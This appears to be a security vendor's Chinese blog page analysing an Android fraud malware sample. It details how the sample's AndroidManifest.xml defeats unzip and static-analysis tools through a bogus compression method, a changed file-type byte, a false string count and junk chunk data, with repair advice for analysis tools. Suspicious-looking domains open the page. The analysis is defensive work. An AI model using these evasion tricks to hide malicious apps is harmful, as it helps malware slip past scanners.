Ommm.gz.bw103hgycgi.com

Edko.gz.bw36a.com

Aelo.gz.bw112uuuuuuu.com

Dandan.gz.bw26yidingyaotingzhu.com

corgi.gz.zcimeb5im.com

Ting.gz.bw80houhou.com

BOOMSLANG（树蚺）移动欺诈家族分析

基于机器学习的 Android 恶意 App 识别

# 背景

随着移动应用的广泛普及，恶意软件也日趋复杂和隐蔽。本报告着眼于一个由 ReBensk 提交至 incinerator.cloud 的恶意 Android 软件样本。

- 样本哈希值：
 - MD5: 2f371969faf2dc239206e81d00c579ff
 - SHA-256: b3561bf581721c84fd92501e2d0886b284e8fa8e7dc193e41ab300a063dfe5f3

在 ReBensk 提交至 incinerator.cloud 的多个恶意样本中，我们特别关注了一款经过自定义修改的 APK 文件，以下简称为“样本 b356”。这个样本采用了独特的混淆和隐蔽技术，导致标准的解压缩工具无法成功解压其内容。通过特定的修正操作，我们成功突破这一限制，并进一步分析了该样本。

# 分析过程

## 1. 解压失败分析

在尝试使用 7z 工具解压这个 APK 文件时（Apk 本质上是一个 ZIP 文件），遇到错误显示 `AndroidManifest.xml header` 错误，这说明标准的解压过程无法正确地解压样本 b356。


#

<img src="/ucenterapi/upload/file/d905debb0ab630a86c0429d12b85b0cd"></img!>

#

在使用 010 Editor 打开 APK 文件并应用 ZipAdv 模板进行解析后，并未发现任何明显的错误或异常。

#

<img src="/ucenterapi/upload/file/06666c0ac6531b59ef2d4091864cb545"></img!>

#

为了更深入地了解问题，我们打开了一个正常运行的 APK 文件进行对比分析。这样做是为了确定是否存在某种特殊或不规则的结构或数据，可能是导致解压失败的原因。

#

<img src="/ucenterapi/upload/file/0992bfb70296815c001df5b2509bc2ea"></img!>

#

通过对比发现，我们发现样本 b356 采用了一个不非法的压缩算法 `0x23C2`。在标准的 ZIP 格式规范中，压缩方法由一个短整数（short）表示，取值通常如下文所示（以下代码取自 010 Editor 的 ZIPAdv.bt 模板）。由于 `0x23C2` 不是任何已知的标准压缩方法，因此 7z 等解压工具无法识别和处理。

#
```
//enum used for compression format
typedef enum <short> { 
 COMP_STORED = 0,
 COMP_SHRUNK = 1,
 COMP_REDUCED1 = 2,
 COMP_REDUCED2 = 3,
 COMP_REDUCED3 = 4,
 COMP_REDUCED4 = 5,
 COMP_IMPLODED = 6,
 COMP_TOKEN = 7,
 COMP_DEFLATE = 8, // Deflate - standard ZIP codec, used from the start, also found in regular ZIP files
 COMP_DEFLATE64 = 9,
 COMP_PKImploding = 10,
 
 COMP_BZip2 = 12, // BZIP2 - Newer than deflate, with better compression and slightly slower speed.
 COMP_LZMA = 14, // LZMA - advanced ZIPX codec, taken from open source 7-zip format
 COMP_Terse = 18,
 COMP_Lz77 = 19,
 
 COMP_Jpeg = 0x60, // Jpeg - Codec added by WinZip for specific support of jpeg images ( http://www.winzip.com/wz_jpg_comp.pdf )
 COMP_WavPack = 0x61, // WavPack - Codec for compressing specifically wav files. ( http://www.wavpack.com )
 COMP_PPMd = 0x62, // PPMd - context modeling based codec, also featured in new ZIP standard. We use it in our Optimized method for text file compression. ( http://www.compression.ru/ds/ )
 COMP_WzAES = 0x63 // WZAES encryption methods
} COMPTYPE;
```

#

因此，样本 b356 采用了未知的压缩算法，导致通用压缩工具解压缩失败。但为什么它能在 Android 系统上仍然可以成功安装和运行呢？

## 2. Android 系统的成功解析与运行原因

正如下图所示， 根据 Android 系统源代码，当系统遇到非 `COMP_DEFLATE` 的压缩算法时，它会采用“未压缩”（`COMP_STORED`）的方法处理输入文件。具体来说，系统直接读取未压缩数据的长度，并据此进行解析。

#

<img src="/ucenterapi/upload/file/de9b6970fc8f1655de66719b0b80c1b8"></img!>

#

<img src="/ucenterapi/upload/file/6d49259ebe481fa51a7ad3adb371211c"></img!>

#

<img src="/ucenterapi/upload/file/edb56ebf530ae2b4023d608f32c0e351"></img!>

#

<img src="/ucenterapi/upload/file/35dbc8e23cb4f20e0bb7e2e894e08ae7"></img!>

#

<img src="/ucenterapi/upload/file/24d2a80ec631ac98a0bae901d67b7423"></img!>

#

<img src="/ucenterapi/upload/file/c76ecbadce6c55fb40ffd09943e2112b"></img!>

#

<img src="/ucenterapi/upload/file/61309be7bcac1aea31aee686be8cd0c1"></img!>

#

<img src="/ucenterapi/upload/file/4745f772dcb5ef42c93bac506489fde2"></img!>


#

请注意看黄框和红框中的代码对比，在黄框中，如果使用的是 COMP_DEFLATE 压缩算法，系统将按照相应的方法解压缩，如果不是，系统将直接读取压缩前的长度，然后进行处理。

这就解释了为什么修改了 AndroidManifest 的压缩方法后，系统仍然可以正确运行。样本 b356 在正常打包流程完成后，将包中的 AndroidManifest.xml 文件内容替换为未压缩前的内容，并将压缩算法替换为非 COMP_DEFLATE 。因此，常规解压工具会失败，但 Android 系统会按照未压缩的方式处理，因此可以正常运行。

## 3. 解压程序的修改建议

### **3.1 修复 Apk**


#

<img src="/ucenterapi/upload/file/2ea3c84b1c9d8e70ebb0952b40179795"></img!>

#

按照 Android 系统的处理方式，Apk 的 AndroidManifest.xml 只能采用两种压缩方式。COMP_DEFLATE 或未压缩。

如果压缩算法不是默认的 COMP_DEFLATE ，那么一定是未压缩。因此修复 apk 的方法是，如果发现压缩算法不是 COMP_DEFLATE ，将压缩算法设置为 0，即未压缩，并将压缩后的长度设置为压缩前的长度。这样，常规解压工具就可以解压了。

修复后，我们尝试使用 7-Zip（通常简称为 7z）工具进行解压，结果如下图所示。尽管仍然存在错误，特别是关于 CRC（循环冗余检查）值尚未修复的问题，但我们已成功解压了 APK 文件，并可以访问其中的 AndroidManifest.xml 内容。

#

<img src="/ucenterapi/upload/file/f4f75ecfe41db899310742600cc8b41f"></img!>

#

<img src="/ucenterapi/upload/file/204117fe727bd27a3694f2d536053f47"></img!>

#

### **3.2 静态分析工具的修复**

静态分析工具可以按照系统的解压方式处理，如果发现 AndroidManifest.xml 的压缩方法不是 COMP_DEFLATE ，那么就读取压缩前的长度作为 AndroidManifest.xml 的内容。

# 总结

由于 Android 系统在解析时对非 COMP_DEFLATE 的压缩方式采取的是未压缩处理，从逻辑上看，这种做法并不符合规范，因此，导致 b356 成功地利用了这一逻辑漏洞。彻底的解决方案应该是 Android 系统按照规范的 zip 包解压格式进行处理。

AndroidManifest.xml 多种混淆绕过静态分析的技术分析（Zip 格式类型修改绕过）

# 背景

随着移动应用的广泛普及，恶意软件也日趋复杂和隐蔽。本报告聚焦于一个由 ReBensk 提交至 incinerator.cloud 的恶意 Android 软件样本。

# 基本信息

- **样本哈希值：**
 - MD5: 2f371969faf2dc239206e81d00c579ff
 - SHA-256: b3561bf581721c84fd92501e2d0886b284e8fa8e7dc193e41ab300a063dfe5f3

经由 ReBensk 提交至 incinerator.cloud 的多个恶意样本中，我们特别关注了一款经过自定义修改的 APK 文件，以下简称为“样本 b356”。这一样本具有独特的混淆和隐蔽技术，导致标准的解压缩工具成功解压其内容。我们通过针对性修复后，成功解压缩。但是常用的 apk 分析工具仍然分析失败，通过进一步深度分析，我们得以突破样本的限制，最终能够成功分析。

# 分析过程

## 1. AndroidManifest.xml 的文件类型修改

### **1.1 分析失败的原因**

我们利用 010 Editor 打开样本 b356 中修复后的 AndroidManifest.xml 二进制文件。尝试用该工具的 AndroidResource 模板进行分析时，首次尝试遭到失败。从错误日志中了解到，问题起始于文件的 `pos:0`。

#

<img src="/ucenterapi/upload/file/fa394b89902f641d1dbd82e89b7d5d21"></img!>

#

通过与正常的 AndroidManifest.xml 二进制文件对比，我们发现其首个字节即有差异。

#

<img src="/ucenterapi/upload/file/eeb65e0c9946b0c84dd9ccbbf612c5b9"></img>

#

资源文件的类型定义如下：

#
```
enum {

 RES_NULL_TYPE = 0x0000, 
 RES_STRING_POOL_TYPE = 0x0001, 
 RES_TABLE_TYPE = 0x0002, 
 RES_XML_TYPE = 0x0003, // Chunk types in 
 RES_XML_TYPE RES_XML_FIRST_CHUNK_TYPE = 0x0100, 
 RES_XML_START_NAMESPACE_TYPE= 0x0100, 
 RES_XML_END_NAMESPACE_TYPE = 0x0101, 
 RES_XML_START_ELEMENT_TYPE = 0x0102, 
 RES_XML_END_ELEMENT_TYPE = 0x0103, 
 RES_XML_CDATA_TYPE = 0x0104, 
 RES_XML_LAST_CHUNK_TYPE = 0x017f, // This contains a uint32_t array mapping RES_XML_RESOURCE_MAP_TYPE = 0x0180, // Chunk types in RES_TABLE_TYPE RES_TABLE_PACKAGE_TYPE = 0x0200, 
 RES_TABLE_TYPE_TYPE = 0x0201, RES_TABLE_TYPE_SPEC_TYPE = 0x0202

};
```
#
按照 Android 规范，该字节通常应为 0x03，但在样本 b356 中并非如此。

### **1.2 为什么 android 系统可以解析**

定位到 android 系统解析源码，

#

<img src="/ucenterapi/upload/file/10a65df22a3abab755008fcace3eed19"></img>

#

这里是开始解析 Androidmanifest.xml 二进制文件的地方，如源码所示,没有验证前两个字节是否是 0x0003，只对 headerSize 的合法性做了验证。所以样本 b356 修改了文件类型后，android 系统仍然能够正确解析。

### **1.3 修复建议**

静态分析工具修复建议：和 Android 系统解析流程保持一致，此处不校验文件类型。

## 2. stringPoolSize 修改

### **2.1 数据异常点分析**

我们手动修正首个字节为 0x03 以便进一步分析。再次尝试用 AndroidResource 模板解析后，发现分析仍然失败，只展示了字符串池（string pool）而没有解析出 XML 主节点。

#

<img src="/ucenterapi/upload/file/3ba8e84f743f8339731abc6d5da041ec"></img>

#
展开 `stringoffsets` 的数据进行查看，从第 131 个 `stringoffset` 开始，数据显著异常，远超文件全长，明显是错误的。进一步分析 `stringPool` 的头部信息，计算出实际的字符串个数为 131。

#

<img src="/ucenterapi/upload/file/54762c3b7a885a91d1c236488baada27"></img>

#

在样本 b356 的 `stringoffsets` 字段中，从第 131 个开始，数据明显存在异常：这些值远远超过了整个文件的实际长度。这种不一致性明显指向了一个错误，也意味着记录在 `stringoffsets` 中的数量很可能是不准确的。

#

<img src="/ucenterapi/upload/file/fbec3135a96e9af9d5e4474182dc48a6"></img>

#
在深入分析样本 b356 中的 `stringpool` 结构时，我们首先确认了 `strdata[0]`，即 `stringpool` 中的第一个字符串，被正确解析。这一点是非常关键的，因为它证明了我们的解析起始位置（0x230，即十进制的 560）是准确的。

`stringsStart` 字段指出了从文件头（header）开始计算，552 个字节后就是 `stringpool` 的开始位置。由于通常会有 8 个字节用于存储 `stringpool` 的元信息（例如长度或其他标记），所以 552+8 恰好等于 560。


#

<img src="/ucenterapi/upload/file/61d38b9dadb4173e6c00b573333e9da2"></img>

#

这自然引发了一个问题：这 552 个字节的具体内容是什么？我们知道 `strPoolheader` 自身就占用了 28 个字节（或者说是 0x1C）。如果从 552 个字节中扣除这 28 个字节，那么剩下的 524 个字节用于什么呢？

剩下的 524 个字节非常可能是用于存储 `stringoffsets` 的。每个 `stringoffset` 通常会占用 4 个字节，因此 524/4 正好等于 131。这一点与我们之前通过手动计算得出的 `stringoffsets` 数量是一致的。


#

<img src="/ucenterapi/upload/file/b6be65e7c3656e1362f465cdf53eee72"></img>

#

在之前的深度分析中，我们推断出 `stringoffsets` 的实际数量为 131，这与样本 b356 中错误地标识的数量不一致。为了能更准确地解析该样本，我们决定修正 `stringCount` 字段。

### **2.2 为什么 Android 系统能够正确解析**


#

<img src="/ucenterapi/upload/file/da58a71cc963b27338b8532de3ae148f"></img>

#

如上图系统解析 `stringPoolsize` 的源码所示，`stringPoolsize` 是计算得到，所以样本 b356 修改了 `stringPoolsize` 让众多通过从文件中读取 `stringPoolsize` 的静态分析工具失效，但 android 系统在解析时任然可以通过计算得到正确的 `stringPoolSize`。

### **2.3 修改建议**

静态分析工具修改建议：按照 android 系统的做法，`stringPoolSize` 通过计算得到，而不是从文件中解析。

1. 手动调整：首先，在样本 b356 的 `stringPool` 头部中找到 `stringCount` 字段，并将其值修改为 131。
2. 重新解析：在完成修正操作后，我们再次使用 `010 Editor` 配合 `AndroidResource` 模板来解析样本。

经过修改后，我们发现 XML 的主要节点已经成功被解析。这意味着我们的手动修正是有效的，并且我们现在能够看到该样本的更多内部细节。


#

<img src="/ucenterapi/upload/file/d1adf356363f646a7ff6e1aa35cdfa41"></img>

#

尽管我们手动修复了 `stringCount` 和成功用 `010 Editor` 解析了 `AndroidManifest.xml` 的主要节点，使用专用的静态分析工具依然会出错。具体的错误出现在二进制文件的 `0x1588` 字节位置。

## 3. 在 xml 节点结束位置插入混淆数据

### **3.1 数据异常分析**

我们手动修改 `stringCount` 的 131，以便继续分析。

010 Editor 重新加载修改后的文件，结果如图如下图所示：

#

<img src="/ucenterapi/upload/file/823d8284d1383119434a7d6a6b9a091b"></img>

#
010 Editor 在解析时已经没有问题了，但是用静态分析工具解析时在 `0x1588` 遇到非预期数据。

在 `0x1587` 字节位置，第一个 XML 元素已经结束。静态分析工具预期 `0x1588` 字节作为下一个 `ResChunk_header` 的起始点进行分析。然而，在 `0x158A` 字节位置尝试解析 `size` 字段时，出现异常。根据 `ResChunk_header` 结构的约束，这个 `size` 值应该至少大于 8，但实际数据并没有满足这一条件。

样本 b356 应该是在 `0x1588` 字节处插入了一些非标准或混淆的数据，导致静态分析工具分析出错。

查看 010 Editor 的解析结果得知，startEle 的 header `size` 字段进行了改动，以便在元素结束后添加混淆内容。
#

<img src="/ucenterapi/upload/file/c198401bffbe3bab491a28f571562b91"></img>

#

在解析 `attribute` 字段之后，如果解析尚未完成或遇到异常，工具应自动跳过到 `elementStart + size` 的位置，从那里开始解析下一个元素。这样做的目的是绕过可能存在的干扰或错误数据。

### **3.2 为什么 Android 系统可以解析**

如下图 android 系统源码所示，读取每个 attribute 的数据通过 `attributeExt` 的位置，`attributeExt` 的 start，`attributeExt` 的 attributeSize 计算得到的，`attributeExt` 的 start，`attributeExt` 的 attributeSize 从 byte 中读取，所以只要 `attributeExt` 的 attributeStart 正确，就能保证获取到正确 `attributeData`。


#

<img src="/ucenterapi/upload/file/1e0820ca56d105b344e5bb25be8dc9f6"></img>

#

那 `attributeExt` 是怎么定位的？如下图源码所示，每次解析下一个节点的时候，都是当前节点的位置加上 header 中读到的 `size` 的长度。

以上文中的案例来描述就是，startEle[1]的位置=startEle[0]的位置 +startEle[0].header->size。所以样本 b356 在原先 apk 的 startEle[0]结束后填充干扰数据的同时，也修改了 startEle[0].header->size 的长度，从而让系统正确解析。

#

<img src="/ucenterapi/upload/file/5ea38dd369c4de29947c044d74ae8c20"></img>

#

### **3.3 修改建议**

静态分析工具修改建议：参照 Android 系统的解析方法，每个 xml 节点的起始位置是通过上一个节点的起始位置 + 上一个节点的长度。

# 总结

“b356”样本展示了多层次、多维度的混淆和隐蔽技术，其目的明确：抵制和破坏标准解压缩工具和静态分析解码的能力。

b356 能够混淆成功，主要原因是 android 系统解析处理流程和市面上常用的静态分析工具在一些细节上存在出入。

此样本中只有三个修改点，其他的样本中还存在一下其他的点，我们在下一篇 blog 中会接着分析。

但是主动的对抗方式肯定不是针对每个点修修补补，而是统一静态分析方式和 android 系统解析流程。比方说，把系统源码中解析方式转换成静态分析工具的方式，这个需要社区的共同努力。

AndroidManifest.xml 多种混淆绕过静态分析的技术分析

Shambles - 用于发现 0-Day 漏洞的次世代嵌入式逆向工程工具

NAND存储器转储分析 - 使用ECC修复位错误与UBI镜像固件分析

一家专注于底层信息安全技术研究的创新型科技公司

公司信息

公司荣耀

公司历程

我们是链安、我们是顽石

公司团队

我们是一个有态度的团队

首页

产品中心

新闻资讯

技术支持

关于我们

知识库

产品使用说明

提交工单

引擎

底层安全技术基石

多行业覆盖

以技术链接安全

Lian Security

Reactor Engine

CVSS

产品指南

基础使用

License认证

系统要求

支持ARM、MIPS、PPC、RISC-V指令集

一键生成伪代码

内置针对嵌入式芯片指令集而优化的伪代码再生功能

基于主流嵌入式芯片指令集逆向工程优化的反汇编和反编译器

基于CWE组织通用缺陷列表标准规范

针对分析目标的中间表示（IR）进行脆弱性分析、漏洞挖掘

高度定制化的漏洞缺陷挖掘方式

国内首个支持硬件HBOM供应链分析

针对单个Binary以及完整固件进行关联性的整体固件供应链安全分析

支持OWASP组织推出的CycloneDX、Linux开源基金会的SPDX、NIST的SWID标准文件格式导出